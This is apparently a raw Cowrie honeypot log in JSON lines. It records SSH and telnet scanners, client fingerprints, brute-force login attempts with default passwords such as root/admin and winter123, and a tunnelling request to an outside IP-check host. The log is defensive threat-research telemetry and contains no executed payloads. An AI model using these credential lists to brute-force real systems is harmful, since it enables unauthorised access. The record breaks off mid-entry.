{"eventid":"cowrie.session.closed","duration":120.02220511436462,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:23:36.973826Z","src_ip":"134.0.106.249","session":"e4be6442cfaf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.235.24.122","src_port":57538,"dst_ip":"159.203.135.109","dst_port":22,"session":"db18164875f7","protocol":"ssh","message":"New connection: 198.235.24.122:57538 (159.203.135.109:22) [session: db18164875f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:23:42.965811Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-ZGrab ZGrab SSH Survey","message":"Remote SSH version: SSH-2.0-ZGrab ZGrab SSH Survey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:23:43.945956Z","src_ip":"198.235.24.122","session":"db18164875f7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"dd9bcf093c355da7000132131cb36fd0","hasshAlgorithms":"diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,aes192-cbc,aes256-cbc,arcfour,rijndael-cbc@lysator.liu.se;hmac-md5-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-ripemd160-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,hmac-md5,hmac-sha1,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-ripemd160,hmac-ripemd160@openssh.com,hmac-sha1-96,hmac-md5-96;none,zlib@openssh.com,zlib","kexAlgs":["diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-rsa-cert-v00@openssh.com","ssh-dss-cert-v00@openssh.com","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","arcfour256","arcfour128","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","aes192-cbc","aes256-cbc","arcfour","rijndael-cbc@lysator.liu.se"],"macCS":["hmac-md5-etm@openssh.com","hmac-sha1-etm@openssh.com","umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-ripemd160-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","hmac-md5","hmac-sha1","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-ripemd160","hmac-ripemd160@openssh.com","hmac-sha1-96","hmac-md5-96"],"compCS":["none","zlib@openssh.com","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: dd9bcf093c355da7000132131cb36fd0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:23:44.993740Z","src_ip":"198.235.24.122","session":"db18164875f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.1","message":"Connection lost after 9.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:23:52.102640Z","src_ip":"198.235.24.122","session":"db18164875f7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.121.84.102","src_port":48162,"dst_ip":"159.203.135.109","dst_port":23,"session":"defd2c73f954","protocol":"telnet","message":"New connection: 87.121.84.102:48162 (159.203.135.109:23) [session: defd2c73f954]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:25:04.184843Z"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:25:04.365967Z","src_ip":"87.121.84.102","session":"defd2c73f954","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:25:04.419579Z","src_ip":"87.121.84.102","session":"defd2c73f954","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.121","src_port":37636,"dst_ip":"10.17.0.5","dst_port":22,"session":"a69e4a0d437b","protocol":"ssh","message":"New connection: 45.148.10.121:37636 (10.17.0.5:22) [session: a69e4a0d437b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:25:45.966837Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:25:45.971514Z","src_ip":"45.148.10.121","session":"a69e4a0d437b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"bf7dbf67fa9b26ee9f9deb99c49320ba","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour256,arcfour128,arcfour;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256","rsa-sha2-512","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc","arcfour256","arcfour128","arcfour"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: bf7dbf67fa9b26ee9f9deb99c49320ba","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:25:46.051393Z","src_ip":"45.148.10.121","session":"a69e4a0d437b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"admin","message":"login attempt [admin/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:25:46.290766Z","src_ip":"45.148.10.121","session":"a69e4a0d437b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:25:47.373514Z","src_ip":"45.148.10.121","session":"a69e4a0d437b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855","size":344,"shasum":"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855","duplicate":true,"duration":"180.0","message":"Closing TTY Log: var/lib/cowrie/tty/e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 after 180.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:28:04.435136Z","src_ip":"87.121.84.102","session":"defd2c73f954","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":180.26155161857605,"message":"Connection lost after 180 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:28:04.446326Z","src_ip":"87.121.84.102","session":"defd2c73f954","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.159","src_port":16328,"dst_ip":"159.203.135.109","dst_port":22,"session":"8232fbca478e","protocol":"ssh","message":"New connection: 213.209.159.159:16328 (159.203.135.109:22) [session: 8232fbca478e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:29:27.774916Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:29:27.779586Z","src_ip":"213.209.159.159","session":"8232fbca478e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:29:27.861749Z","src_ip":"213.209.159.159","session":"8232fbca478e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"winter","password":"winter","message":"login attempt [winter/winter] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:29:28.263134Z","src_ip":"213.209.159.159","session":"8232fbca478e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"winter","password":"winter1","message":"login attempt [winter/winter1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:29:29.348564Z","src_ip":"213.209.159.159","session":"8232fbca478e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"winter","password":"winter123","message":"login attempt [winter/winter123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:29:30.433190Z","src_ip":"213.209.159.159","session":"8232fbca478e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"winter","password":"winter1234","message":"login attempt [winter/winter1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:29:31.518147Z","src_ip":"213.209.159.159","session":"8232fbca478e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"winter","password":"winter12345","message":"login attempt [winter/winter12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:29:32.602607Z","src_ip":"213.209.159.159","session":"8232fbca478e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:29:33.687539Z","src_ip":"213.209.159.159","session":"8232fbca478e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"157.245.10.239","src_port":42728,"dst_ip":"10.17.0.5","dst_port":22,"session":"3002c20d6e0e","protocol":"ssh","message":"New connection: 157.245.10.239:42728 (10.17.0.5:22) [session: 3002c20d6e0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:31:04.590278Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:31:04.594725Z","src_ip":"157.245.10.239","session":"3002c20d6e0e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:31:04.599293Z","src_ip":"157.245.10.239","session":"3002c20d6e0e","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"password","message":"login attempt [root/password] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:31:04.607871Z","src_ip":"157.245.10.239","session":"3002c20d6e0e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:31:04.613532Z","src_ip":"157.245.10.239","session":"3002c20d6e0e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.156.73.233","src_port":54784,"dst_ip":"10.17.0.5","dst_port":22,"session":"e62b16b9ea35","protocol":"ssh","message":"New connection: 185.156.73.233:54784 (10.17.0.5:22) [session: e62b16b9ea35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:37:18.140637Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH_8.4p1 Debian-5+deb11u3","message":"Remote SSH version: SSH-2.0-OpenSSH_8.4p1 Debian-5+deb11u3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:37:18.145289Z","src_ip":"185.156.73.233","session":"e62b16b9ea35","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"390ffe68a68c2a2891210413e80689fa","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-cbc;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com,zlib","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","sk-ecdsa-sha2-nistp256@openssh.com","ssh-ed25519","sk-ssh-ed25519@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-cbc"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 390ffe68a68c2a2891210413e80689fa","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:37:18.225211Z","src_ip":"185.156.73.233","session":"e62b16b9ea35","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"","message":"login attempt [root/] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:37:18.622461Z","src_ip":"185.156.73.233","session":"e62b16b9ea35","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"52.208.199.116","dst_port":443,"src_ip":"185.156.73.233","src_port":50922,"message":"direct-tcp connection request to 52.208.199.116:443 from 127.0.0.1:50922","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:37:21.526100Z","session":"e62b16b9ea35","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"52.208.199.116","dst_port":443,"ja4":"t12d4312h1_c7886603b240_d89d4c7b8e02","message":"JA4 fingerprint for forwarded TLS to 52.208.199.116:443: t12d4312h1_c7886603b240_d89d4c7b8e02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:37:22.896181Z","src_ip":"185.156.73.233","session":"e62b16b9ea35","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"52.208.199.116","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xe6C=0\\xb3\\x93n\\xb0\\xea\\x9b\\xab\\xf8\\x9f\\xd6X\\x9f\\x7f\\xf4\\xab\\x84\\xd4\\xd2/R\\xca\\xdf\\x1e\\x19=:\\x19\\xe6 \\xe3\\n\\xd1\\xc67\\n\\xf3\\xd3\\x06b\\xb8U6\\xa6\\xadeBr=\\x84A/\\xc8\\x8e\\x1c\\xd3j\\xd5\\xc7\\xd10\\xbe\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x1a\\x00\\x18\\x00\\x00\\x15checkip.amazonaws.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\xecG\\xbb\\x98\\x03j2=@A\\xf8K\\x7f\\xda4\\xfbc\\x12\\xdby\\xa5n\\xe6\\xee\\xdc\\x08\\xb9\\x87\\xd8\\xd0\\xb5\\x04\\x00\\x15\\x00\\xa1\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":0,"message":"discarded direct-tcp forward request 0 to 52.208.199.116:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xe6C=0\\xb3\\x93n\\xb0\\xea\\x9b\\xab\\xf8\\x9f\\xd6X\\x9f\\x7f\\xf4\\xab\\x84\\xd4\\xd2/R\\xca\\xdf\\x1e\\x19=:\\x19\\xe6 \\xe3\\n\\xd1\\xc67\\n\\xf3\\xd3\\x06b\\xb8U6\\xa6\\xadeBr=\\x84A/\\xc8\\x8e\\x1c\\xd3j\\xd5\\xc7\\xd10\\xbe\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x1a\\x00\\x18\\x00\\x00\\x15checkip.amazonaws.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 